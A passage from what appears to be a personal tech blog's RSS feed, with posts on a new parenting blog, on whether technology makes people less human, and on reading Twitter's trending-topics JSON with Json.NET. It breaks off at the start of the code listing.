    &lt;img src=&#34;images/1212716950_GBZer-Th.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
&lt;p&gt;

    &lt;img src=&#34;images/1212717069_2Ad7r-Th.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>New Parenting Blog</title>
      <link>/post/2011/03/new-parenting-blog/</link>
      <pubDate>Sun, 06 Mar 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/03/new-parenting-blog/</guid>
      <description>&lt;p&gt;&lt;a
	
		href = &#34;http://www.geekyparents.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		New Parenting blog
	&lt;/span&gt;
&lt;/a&gt; up and running (finally) – by popular demand. The intention is to keep that completely different from this one. I and the wife will be starting to post there so watch that space. Happy to get other new (geeky) parents (or soon to be parents) contributing if they want to.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Is technology making us less human?</title>
      <link>/post/2011/03/is-technology-making-us-less-human/</link>
      <pubDate>Fri, 04 Mar 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/03/is-technology-making-us-less-human/</guid>
      <description>&lt;p&gt;Guardian story &lt;a
	
		href = &#34;http://www.guardian.co.uk/media/2011/jan/22/social-networking-cyber-scepticism-twitter?CMP=twt_gu&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Social networking under fresh attack as tide of cyber-scepticism sweeps US
	&lt;/span&gt;
&lt;/a&gt; where a number of academics have done studies which conclude that Twitter and Facebook don&amp;rsquo;t connect people, but on the contrary they isolate them from &lt;strong&gt;reality&lt;/strong&gt; got me thinking about this and wonder if &lt;strong&gt;Technology is making us less human&lt;/strong&gt;!&lt;/p&gt;
&lt;p&gt;MIT professor Sherry Turkle&amp;rsquo;s new book &lt;a
	
		href = &#34;http://www.amazon.co.uk/Alone-Together-Sherry-Turkle/dp/0465010210/ref=sr_1_1?ie=UTF8&amp;amp;qid=1295795755&amp;amp;sr=8-1&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Alone Together
	&lt;/span&gt;
&lt;/a&gt; (which seems interesting and is something I have not had the bandwidth to check out), is leading an attack on the information age. It does seem to agree with the recent articles like &lt;a
	
		href = &#34;http://www.theatlantic.com/magazine/archive/2008/07/is-google-making-us-stupid/6868/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Is Google making us Stupid?
	&lt;/span&gt;
&lt;/a&gt; I don&amp;rsquo;t quite understand Facebook (even though I have been more on it recently); &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2010/01/06/is-it-time-to-relook-at-facebook-again/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		my views on Facebook
	&lt;/span&gt;
&lt;/a&gt; are quite well known, especially in the context of &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2010/02/17/facebook-and-security-again/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		privacy and security
	&lt;/span&gt;
&lt;/a&gt;. If I talk to a friend who could be in Delhi or San Francisco, I don&amp;rsquo;t feel as connected having a dialogue with him or her over Facebook as I do when talking on the phone, IM or even email. Often people thing just because they have posted something on Facebook, that is the end of it - it almost seems at times, I am too lazy and can&amp;rsquo;t be bothered, so will post a message and get it over with - or as they say in Punjabi - &amp;ldquo;syapa mukao&amp;rdquo;. :)&lt;/p&gt;
&lt;p&gt;In a related note, but a little different context I do think the vast information available to us is making us more stupid and we are forgetting the ability to learn, grasp, understand and appreciate the basics and fundamentals. When something is a quick Bing or Google away it makes us all very complacent. It also means that for us sitting down and reading something which is more than a few paragraphs is getting very difficult. I know I can also see this happening first hand. And I notice it every day at work - especially as the newer and younger generation joins the workforce; things that I would take for granted or appreciate does not seem to be the same. Of course and sites like &lt;a
	
		href = &#34;http://tinyurl.com/68lpc48&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		LMBTFY
	&lt;/span&gt;
&lt;/a&gt; and &lt;a
	
		href = &#34;http://lmgtfy.com/?q=Amit&amp;#43;Bahree&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		LMGTFY
	&lt;/span&gt;
&lt;/a&gt; don&amp;rsquo;t help.&lt;/p&gt;
&lt;p&gt;I was quite stuck by this paragraph from the article &lt;a
	
		href = &#34;http://www.theatlantic.com/magazine/archive/2008/07/is-google-making-us-stupid/6868/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Is Google Making Us Stupid?
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The process of adapting to new intellectual technologies is reflected in the changing metaphors we use to explain ourselves to ourselves. When the mechanical clock arrived, people began thinking of their brains as operating “like clockwork.” Today, in the age of software, we have come to think of them as operating “like computers.” But the changes, neuroscience tells us, go much deeper than metaphor. Thanks to our brain’s plasticity, the adaptation occurs also at a biological level.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;I think it would be good for me to get a copy of &lt;a
	
		href = &#34;http://www.amazon.co.uk/Alone-Together-Sherry-Turkle/dp/0465010210/ref=sr_1_1?ie=UTF8&amp;amp;qid=1295795755&amp;amp;sr=8-1&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Alone Together
	&lt;/span&gt;
&lt;/a&gt; and then maybe post something back (feel free to comment below if you have read the book and got any feedback). Of course I do see the irony in the fact a geek like me talking about possibly to using less Technology.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Twitter Trends</title>
      <link>/post/2011/03/twitter-trends/</link>
      <pubDate>Fri, 04 Mar 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/03/twitter-trends/</guid>
      <description>&lt;p&gt;I was excited to find that Twitter had a &lt;a
	
		href = &#34;http://www.json.org/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		JSON
	&lt;/span&gt;
&lt;/a&gt; (Javascript Object Notation) endpoint for the &lt;a
	
		href = &#34;http://search.twitter.com/trends/current.json&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		current trending topics
	&lt;/span&gt;
&lt;/a&gt; and decided to write a simple consumer which can read this and then spit it out in a simple console. And JSON being so simple and more or less “universal” meant that there are multiple implementations for .NET. Of course if you got lots of bandwidth you can roll out your own parser.&lt;/p&gt;
&lt;p&gt;I ended up using &lt;a
	
		href = &#34;http://james.newtonking.com/projects/json-net.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Json.NET
	&lt;/span&gt;
&lt;/a&gt;, which in addition to being OpenSource is also one of the most robust utilities which makes working with JSON formatted data dead simple.&lt;/p&gt;
&lt;p&gt;The code for the console app is quite straightforward. The static function ReadTrends() retrieves the JSON string from twitter which is then consumed and extracted. The only tricky part was using a constant key; the easiest way I could think of doing this was to replace the date-time stamp with a literal and then use that literal.&lt;/p&gt;
&lt;p&gt;Of course this will fail if you the function ReadTrends() is called at (or just before midnight) on Dec 31st and the code returns to the main() function in the new year. I don’t think this is something I am going to put in production and am not going to be too worried about this behaviour.&lt;/p&gt;
&lt;p&gt;At the time of writing this, the twitter trends (in JSON) are:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#ed8796&#34;&gt;“trends”:{“2011-03-04&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;17:18:01”:[{“name”:”#coisasderetiro”,”events”:null,”query”:”#coisasderetiro”,”promoted_content”:null&lt;/span&gt;}&lt;span style=&#34;color:#ed8796&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#ed8796&#34;&gt;“name”:”#tigerblood”,”events”:null,”query”:”#tigerblood”,”promoted_content”:null&lt;/span&gt;}&lt;span style=&#34;color:#ed8796&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#ed8796&#34;&gt;“name”:”#blackpeoplemovies”,”events”:null,”query”:”#blackpeoplemovies”,”promoted_content”:null&lt;/span&gt;}&lt;span style=&#34;color:#ed8796&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#ed8796&#34;&gt;“name”:”Frying&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;Nemo”,”events”:null,”query”:”Frying&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;Nemo”,”promoted_content”:null&lt;/span&gt;}&lt;span style=&#34;color:#ed8796&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#ed8796&#34;&gt;“name”:”Acoustic&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;Aftermath”,”events”:null,”query”:”Acoustic&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;Aftermath”,”promoted_content”:null&lt;/span&gt;}&lt;span style=&#34;color:#ed8796&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#ed8796&#34;&gt;“name”:”Blade&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;Runner”,”events”:null,”query”:”Blade&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;Runner”,”promoted_content”:null&lt;/span&gt;}&lt;span style=&#34;color:#ed8796&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#ed8796&#34;&gt;“name”:”Fun&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;Race”,”events”:null,”query”:”Fun&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;Race”,”promoted_content”:null&lt;/span&gt;}&lt;span style=&#34;color:#ed8796&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#ed8796&#34;&gt;“name”:”Bandra”,”events”:null,”query”:”Bandra”,”promoted_content”:null&lt;/span&gt;}&lt;span style=&#34;color:#ed8796&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#ed8796&#34;&gt;“name”:”Mike&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;Huckabee”,”events”:null,”query”:”Mike&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;Huckabee”,”promoted_content”:null&lt;/span&gt;}&lt;span style=&#34;color:#ed8796&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#ed8796&#34;&gt;“name”:”Arctic&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;Monkeys”,”events”:null,”query”:”Arctic&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;Monkeys”,”promoted_content”:null&lt;/span&gt;}&lt;span style=&#34;color:#ed8796&#34;&gt;]},”as_of”:&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1299259081&lt;/span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And here is the output in the console. I can see Charlie Sheen’s &lt;strong&gt;#tigerblood&lt;/strong&gt; is still trending; and wonder what Artic Monkeys are upto – is there new album out or something?&lt;/p&gt;
&lt;p&gt;&lt;code&gt;#coisasderetiro&lt;/code&gt;
&lt;code&gt;#tigerblood&lt;/code&gt;
&lt;code&gt;#blackpeoplemovies&lt;/code&gt;
&lt;code&gt;Frying Nemo&lt;/code&gt;
&lt;code&gt;Acoustic Aftermath&lt;/code&gt;
&lt;code&gt;Blade Runner&lt;/code&gt;
&lt;code&gt;Fun Race&lt;/code&gt;
&lt;code&gt;Bandra&lt;/code&gt;
&lt;code&gt;Mike Huckabee&lt;/code&gt;
&lt;code&gt;Arctic Monkeys&lt;/code&gt;
&lt;code&gt;All done.  Press any key to continue...&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;And finally here is the code.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt;21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt;22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt;23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt;24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt;25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt;26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt;27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt;28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt;29&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;30&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#30&#34;&gt;30&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;31&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#31&#34;&gt;31&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;32&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#32&#34;&gt;32&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;33&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#33&#34;&gt;33&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;34&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#34&#34;&gt;34&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;35&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#35&#34;&gt;35&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;36&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#36&#34;&gt;36&lt;/a&gt;
